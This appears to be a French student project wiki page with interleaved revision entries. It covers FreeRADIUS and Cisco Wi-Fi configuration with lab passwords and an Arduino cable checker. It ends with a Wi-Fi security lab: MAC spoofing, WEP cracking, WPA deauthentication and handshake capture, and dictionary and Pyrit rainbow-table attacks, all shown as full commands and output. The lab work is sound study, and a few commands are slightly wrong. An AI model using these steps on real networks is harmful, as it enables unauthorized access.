</pre>
Et finalement, une dernière commande permet à tout le système de fonctionner: la redirection des packets IPv4 au niveau du noyau.
<pre>
echo 1 > /proc/sys/net/ipv4/ip_forward
</pre>

===Création de points d'accès Wi-Fi avec serveur d'authentification FreeRADIUS===

====Création du serveur FreeRADIUS====

Afin de créer ces points d'accès, nous avons commencé par paramétrer un serveur d'authentification FreeRADIUS. Pour cela nous avons eu à modifier trois des fichiers de configurations de FreeRADIUS.

D'abord le fichier eap.conf au sein duquel nous avons simplement changé le protocole d'authentification afin d'utiliser le type PEAP.

<pre>
default_eap_type = peap
</pre>

Puis nous avons eu à configurer nos points d'accès wifi au sein du fichier clients.conf, voici à quoi ressemble la configuration d'un des points :

<pre>
client lellel{
ipaddr = 10.10.10.1
netmask = 32
secret = lollol
}
</pre>

Pour finir il ne restait plus qu'a créer un utilisateur pour ce serveur d'authentification, pour cela nous avons ajouté la ligne suivante dans le fichier users.

<pre>
ethwynn Cleartext-Password := "trolol"
</pre>

Une fois cette configuration réalisée nous avons lancé notre serveur FreeRADIUS.

====Configuration des bornes Wi-Fi====

Par la suite nous avons réalisé la configuration des bornes Wi-Fi afin d'avoir notre accès sécurisé avec notre serveur FreeRADIUS. La configuation est réalisée en tapant les commandes suivantes après s'être connecté à la borne via telnet :

<pre>
conf t

aaa new-model
aaa authentication login eap_kwak group radius_kwak
radius-server host 193.48.57.167 auth-port 1812 acct-port 1813 key lollol
aaa group server radius radius_kwak
server 193.48.57.167 auth-port 1812 acct-port 1813

exit

dot11 ssid SSID_KWAK
vlan 17
authentication open eap eap_kwak
authentication network-eap eap_kwak
authentication key-management wpa
mbssid guest-mode

exit

interface Dot11Radio0
encryption vlan 17 mode ciphers aes-ccm tkip
ssid SSID_KWAK

exit

interface Dot11Radio0.17
encapsulation dot1Q 17
no ip route-cache
bridge-group 17
bridge-group 17 subscriber-loop-control
bridge-group 17 spanning-disabled
bridge-group 17 block-unknown-source
no bridge-group 17 source-learning
no bridge-group 17 unicast-flooding

exit

interface GigabitEthernet0.17
encapsulation dot1Q 17
bridge-group 17

exit

exit
</pre>

Les bornes sont maintenant configurées, il reste juste à se connecter.

====Connexion à notre Wi-Fi====

Afin de se connecter il suffit juste de modifier le fichier interfaces de notre eepc par :

<pre>
auto wlan0
iface wlan0 inet static
address 172.20.17.12
netmask 255.255.255.0
gateway 172.20.17.254
wpa-ssid SSID_KWAK
wpa-key-mgmt WPA-EAP
wpa-identity ethwynn
wpa-password trolol
</pre>

== La partie bonus ==

Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un système embarqué (nommé CiscoChecker) permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.

Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.

=== Utilisation de l'écran LCD ===

Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.

Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.

Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX. Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.

Voici à quoi ressemble une de nos lettres :
<pre>
const char letter_A[] PROGMEM = {
0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,
0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,
0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,
0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};
</pre>

Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.

Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.

Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.

=== Utilisation du lecteur de carte SD ===

Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.

Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.

Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.

=== Communication avec le matériel Cisco ===

[[Fichier:ciscoChecker.png|200px|thumb|left]]Afin de pouvoir tester le réseau, notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.

Nous avons commencé par étudier le fonctionnement de ce composant. Ensuite, nous avons créé un schéma réalisant la fonction que nous voulions, c'est à dire la conversion d'un signal série issu de l'Arduino vers un signal série utilisable sur le matériel Cisco. Nous avons donc été amené à concevoir l'empreinte d'un connecteur femelle RJ45 de la société Amphenol ([https://www.amphenolcanada.com/ProductSearch/drawings/AC/RJHSE508X.pdf dont la documentation est disponible ici]). Nous avons ensuite utilisé les documents libres fournis par Arduino pour concevoir un shield compatible avec les Arduino Uno.

Après la phase de conception (et quelques améliorations apportés par M. Boe et M. Flamen), nous avons pu lancer en production notre carte. Une fois les composants soudés, nous avons testé la carte. Finalement, celle-ci est à moitié fonctionnelle. En effet, elle est capable d'émettre correctement, mais ne reçoit pas correctement les signaux. Une des hypothèses serait un défaut dans le câblage des LEDs du port RJ45 à cause d'une erreur dans la documentation d'Amphenol (les LEDs ne sont finalement pas bidirectionnelles). Si le temps le permet, un diagnostique plus poussé sera mené sur la carte.

=== Réalisation du code pour les appareil Cisco ===

Dès que la carte électronique fonctionnera correctement, il suffira à celle-ci d'envoyer des commandes au matériel Cisco.
<pre>
show interfaces status | include INAME\
</pre>
Dans notre commande, INAME est le nom de l'interface pour laquelle on désire vérifier la connexion. INAME est directement suivi d'un antislash et d'un espace pour éviter des problèmes de filtrage (exemple: Gi0/30 qui répond à la requête de Gi0/3). La liste des ces interfaces est indiquée sur le carte SD. Chaque matériel Cisco, qui est identifié par le nom qu'il donne lors de l'appuie sur la touche "entrée" possède sa propre liste de connections sur la SD, et ceci en correspondance avec le câblage que nous avons effectué dans le début de notre projet.

P27 Robot de fraiseuse

2016-01-18T15:33:34Z

Froyer1 :

P27 Robot de fraiseuse

2016-01-18T15:25:52Z

Froyer1 : /* Semaine du 11 au 15 janvier 2015 */

P27 Robot de fraiseuse

2016-01-18T15:19:21Z

Froyer1 : /* Semaine du 11 au 15 janvier 2015 */

P27 Robot de fraiseuse

2016-01-18T13:54:00Z

Froyer1 : /* Avancement du projet */

P27 Robot de fraiseuse

2016-01-11T10:18:34Z

Froyer1 : /* Avancement du projet */

Thermomètre connecté

2016-01-06T13:05:01Z

Froyer1 : /* Objectif du projet */

==Cahier des charges==
===Présentation générale du projet===

====Objectif du projet====

L'objectif du projet est de concevoir un thermomètre connecté afin de pouvoir déterminer la température d'un café et permettre à l'utilisateur de boire son café à la température souhaitée. Le thermomètre devra donc récupérer la température du café et envoyer les données à une application sur téléphone ( via l'utilisation du bluetooth).

De plus, il faudra que le dispositif bénéficie d'un système de recharge afin de permettre son utilisation sur le long terme. Dans notre cas, nous allons utiliser l'effet thermo-électrique (recharge de la pile ou condensateur à l'aide du courant créé par la différence de température). Cette méthode étant peu efficace, il sera nécessaire de réduire au minimum la consommation de notre micro-processeur. Nous pouvons par exemple espacer les mesures de températures et aussi utiliser le mode sleep de notre processeur lorsqu'il n'est pas en utilisation.

====Choix techniques : matériel et logiciel====

Pour réaliser ce projet, nous allons utiliser le matériel suivant :

* Capteur de température : LM35DM/NOPB
* Micro-processeur : RFDuino RFD22301
* Générateur : Pas encore trouvé, hésitation entre un super condensateur et une pile

==Étapes du projet==

<b>Partie 1 : </b>

<b>Partie 2 : </b>

<b>Partie 3 : </b>

==Suivi de l'avancement du Projet==

===Séance 1 ===
===Séance 2 ===
===Séance 3 ===
===Séance 4 ===
===Séance 5 ===

Thermomètre connecté

2016-01-06T13:00:01Z

Froyer1 : /* Objectif du projet */

==Cahier des charges==
===Présentation générale du projet===

====Objectif du projet====

L'objectif du projet est de concevoir un thermomètre connecté afin de pouvoir déterminer la température d'un café et permettre à l'utilisateur de boire son café à la température souhaitée. Le thermomètre devra donc récupérer la température du café et envoyer les données à une application sur téléphone ( via l'utilisation du bluetooth).

De plus, il faudra que le dispositif bénéficie d'un système de recharge afin de permettre son utilisation sur le long terme. Dans notre cas, nous allons utiliser l'effet thermo-électrique (recharge de la pile ou condensateur à l'aide du courant créé par la différence de température)

====Choix techniques : matériel et logiciel====

Pour réaliser ce projet, nous allons utiliser le matériel suivant :

* Capteur de température : LM35DM/NOPB
* Micro-processeur : RFDuino RFD22301
* Générateur : Pas encore trouvé, hésitation entre un super condensateur et une pile

==Étapes du projet==

<b>Partie 1 : </b>

<b>Partie 2 : </b>

<b>Partie 3 : </b>

==Suivi de l'avancement du Projet==

===Séance 1 ===
===Séance 2 ===
===Séance 3 ===
===Séance 4 ===
===Séance 5 ===

PRA 2015 - Câblage d'un réseau redondant

2015-12-29T16:54:25Z

Froyer1 : /* La partie commune */

__TOC__
== Introduction ==
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.
== Câblage du résau ==
=== Le réseau idéal ===
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.

[[Fichier:PRA15 - Réseau Idéal.png]]

Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.

=== L'avancement du cablage du réseau ===

L'image suivante détaille l'état du réseau avant le 07/10/2015.

[[Fichier:PRA15 - Réseau Temporaire.png]]

Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.

== La partie commune ==
=== Création d'un site Web haute disponibilité ===
==== Installation de la machine virtuelle ====
D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créer cette machine virtuelle, nommée "kwak". Notre hôte est un serveur Xen 3.0.
<pre>
# cat /etc/xen/kwak.cfg
kernel = '/boot/vmlinuz-3.14-2-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-3.14-2-amd64'
vcpus = '1'
memory = '512'
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w',
'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w',
]
name = 'kwak'
vif = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ]
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'
</pre>
Ensuite, nous démarrons notre machine virtuelle.
<pre>
# xl create /etc/xen/kwak.cfg
</pre>
Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).
<pre>
# xl console kwak
</pre>
Enfin, nous installons les services dont nous allons avoir besoin par la suite.
<pre>
# apt-get install apache2 bind
</pre>

==== Mise en place du service web ====
Pour réaliser notre site web, nous avons commencé par créer une page web basée sur notre nom de domaine: [http://pinkfluffyunicorn.lol pinkfluffyunicorn.lol]
<pre>
<!DOCTYPE>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
</head>
<body>
<iframe style="position:absolute;top:0px;left:0px;" id="video" src="https://www.youtube.com/embed/qRC4Vk6kisY?autoplay=1&showinfo=0&showsearch=0&iv_load_policy=3&autoplay=1" frameborder="0" allowfullscreen></iframe>
<script>
$(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });
$(window).resize(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });});
});
</script>
</body>
</html>
</pre>

=== Tests de sécurisation de réseaux WiFi ===
==== Accès par filtrage MAC ====
Nous avons commencé par effectuer une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.

La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisée sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.
<pre>
airodump-ng start wlan0
</pre>
Ensuite, nous avons surveillé le réseau WiFi, nommé "baguette"

<pre>
airodump-ng --essid baguette wlan0mon

CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:14:3C:40:78:60 -63 9 0 0 4 54e. OPN baguette
</pre>

On spécifie alors le canal et le BSSID à utiliser pour plus de précision.

<pre>
airodump-ng --essid baguette wlan0mon

CH 4 ][ Elapsed: 18 s ][ 2015-10-22 13:29
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:14:3C:40:78:60 -52 100 146 1 0 4 54e. OPN baguette

BSSID STATION PWR Rate Lost Frames Probe
C4:14:3C:40:78:60 00:15:AF:E7:19:F3 -59 0 - 5e 0 1
</pre>

Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.

<pre>
ifconfig wlan1 hw ether C4:14:3C:40:78:60
</pre>

==== Accès par filtrage WEP ====
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.
<pre>
#airmon-ng
PHY Interface Driver Chipset

phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]

#airmon-ng start wlan3
PHY Interface Driver Chipset

phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]
(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)
(mac80211 station mode vif disabled for [phy1]wlan3)
</pre>
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.
<pre>
#airodump-ng wlan3mon
CH 9 ][ Elapsed: 0 s ][ 2015-11-12 11:58

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:23:5E:1E:05:48 -57 2 0 0 7 54e. OPN cracotte09
00:23:5E:1E:05:41 -56 3 0 0 7 54e. WEP WEP cracotte02
00:23:5E:1E:05:45 -57 3 22 0 7 54e. WEP WEP cracotte06
00:23:5E:1E:05:44 -56 2 19 0 7 54e. WEP WEP cracotte05
00:23:5E:1E:05:47 -55 3 42 0 7 54e. WEP WEP cracotte08
00:23:5E:1E:05:46 -55 1 67 0 7 54e. WEP WEP cracotte07
00:23:5E:1E:05:42 -56 2 67 0 7 54e. WEP WEP cracotte03
00:23:5E:1E:05:40 -57 2 98 0 7 54e. WEP WEP cracotte01
00:23:5E:1E:05:43 -58 4 99 0 7 54e. WEP WEP cracotte04

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:CF:01:90 48:5A:3F:4C:37:61 -1 1e- 0 0 2
00:23:5E:1E:05:45 00:0F:B5:92:23:74 -64 54e-48e 2 21
00:23:5E:1E:05:44 00:0F:B5:92:23:6B -65 48e- 2e 89 9
00:23:5E:1E:05:47 00:0F:B5:92:23:71 -67 54e-54e 39 37
00:23:5E:1E:05:46 00:0F:B5:92:23:69 -63 48e-54e 6 63
00:23:5E:1E:05:42 00:0F:B5:92:23:6A -60 48e-54e 9 59
00:23:5E:1E:05:40 00:0F:B5:92:22:68 -55 36e-48e 9 94
00:23:5E:1E:05:43 00:0F:B5:92:23:75 -58 48e- 2e 145 93
</pre>
Notre cible étant le réseau "cracotte07", nous spécifions donc le canal et l'ESSID
<pre>
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon
CH 7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:23:5E:1E:05:46 -64 17 1603 46339 201 7 54e. WEP WEP cracotte07
</pre>
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.
<pre>
#aircrack-ng *.cap
Opening dmp-01.cap
Read 110082 packets.

# BSSID ESSID Encryption

1 00:23:5E:1E:05:46 cracotte07 WEP (6190 IVs)

Choosing first network as target.

Opening dmp-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 6258 ivs.
</pre>
Ensuite, nous générons plus de flux à l'aide de aireplay.
<pre>
#aireplay-ng -5 -e cracotte07 wlan3mon
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)
12:02:11 Waiting for beacon frame (ESSID: cracotte07) on channel 7
Found BSSID "00:23:5E:1E:05:46" to given ESSID "cracotte07".
12:02:11 Waiting for a data packet...

Size: 70, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:23:5E:1E:05:46
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:92:23:69

0x0000: 8841 2c00 0023 5e1e 0546 000f b592 2369 .A,..#^..F....#i
0x0010: ffff ffff ffff c014 0000 f898 0e00 8065 ...............e
0x0020: 7e87 af6b e679 211e c9d6 1665 0b4f 7e2d ~..k.y!....e.O~-
0x0030: 6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35 l.-...?..1S./..5
0x0040: b7bd 03c5 5093 ....P.

Use this packet ? y

Saving chosen packet in replay_src-1112-120211.cap
12:02:13 Data packet found!
12:02:13 Sending fragmented packet
</pre>
Et enfin, aircrack trouve la clé.
<pre>
Aircrack-ng 1.2 rc2

[00:02:12] Tested 853 keys (got 40800 IVs)

KB depth byte(vote)
0 0/ 9 55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568)
1 0/ 1 52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592)
2 0/ 1 55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824)
3 13/ 3 79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800)
4 1/ 4 CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824)

KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ]
Decrypted correctly: 100%
</pre>
==== Accès par filtrage WPA ====
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.
<pre>
#!/usr/bin/perl
my $ite = 0;
my $max = 1000000;
my $outp;
my $tmp;
for (my $j=0; $j < 100; $j++)
{
$tmp = sprintf("[%02d]\n", $j);
print STDERR $tmp;
for (my $i=0; $i < ($max); $i++)
{
$outp = sprintf("%08d\n", $ite);
$ite++;
print $outp;
}
}
</pre>
Nous lançons donc la génération avec la commande
<pre>
# ./gen.pl > dic.txt
</pre>
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.
<pre>
859M -rw-r--r-- 1 root root 859M nov. 13 09:41 dic.txt
</pre>
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau "Almost Secure WiFi".
<pre>
# airodump-ng --channel 6 --essid "Almost Secure WiFI" -w dmp wlan1
</pre>
Puis, nous désauthentifions les clients déjà connectés pour récupérer le "handshake" qui permettra le décryptage de la clé.
<pre>
# aireplay-ng -0 5 -e "Almost Secure WiFI" wlan1
</pre>
Une fois la désauthentification envoyée, nous récupérons le "handshake" durant la reconnection des clients.
<pre>
# aircrack-ng *.cap
Opening dmp-01.cap
Read 2370 packets.
# BSSID ESSID Encryption

1 00:13:46:79:6A:1C Almost Secure WiFI WPA (1 handshake)
</pre>
=====Attaque par dictionnaire=====
A partir du moment où nous disposons du "handshake", deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.
<pre>
# aircrack-ng -w dico.txt *.cap
Aircrack-ng 1.2 beta3
[00:58:30] 12121212 keys tested (3659.24 k/s)
KEY FOUND! [ 12121212 ]
Master Key : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62
F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45
Transient Key : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF
68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8
45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28
A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E
EAPOL HMAC : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE
</pre>
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.
=====Attaque par Rainbow Tables=====
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une "rainbow table" est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.
<pre>
# pyrit -e 'Almost Secure WiFI' create_essid
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Created ESSID 'Almost Secure WiFI'
</pre>
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la "rainbow table". On remarqera que cette étape prend entre 5 à 10 secondes.
<pre>
# pyrit -i ./dic.txt import_passwords
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
100000000 lines read. Flushing buffers... ..
All done.
</pre>
Maintenant, nous devons générer la "rainbow table". Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.
<pre>
# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Working on ESSID 'Almost Secure WiFI'
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.
</pre>
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.
<pre>
# pyrit benchmark
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Running benchmark (25147.5 PMKs/s)... \

Computed 25147.53 PMKs/s total.
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)
</pre>
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la "rainbow table" qui prendra environ une heure.
<pre>
# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Working on ESSID 'Almost Secure WiFI'
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.
</pre>
Maintenant que la "rainbow table" est générée, nous lançons l'attaque.
<pre>
# pyrit -r *.cap attack_batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Parsing file 'dmp-01.cap' (1/1)...
Parsed 270 packets (270 802.11-packets), got 1 AP(s)

Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.
Attacking handshake with station 00:0c:e7:41:68:29
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second

The password is '12121212'.
</pre>
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par "rainbow tables" est donc largement plus performante.

=====Algorithme de génération de PMK=====
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.
<pre>
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)
</pre>
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)
*[PASSWORD] Le mot de passe
*[SALT] Le salage (ici l'ESSID)
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)
*[LEN] La longueur du résultat de la fonction (ici 256)
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.
<pre>
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount
</pre>
Où les "Un" sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.
<pre>
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))
U2 = PRF(PASSWORD, U1)
...
Uc = PRF(PASSWORD, Ucount-1)
</pre>
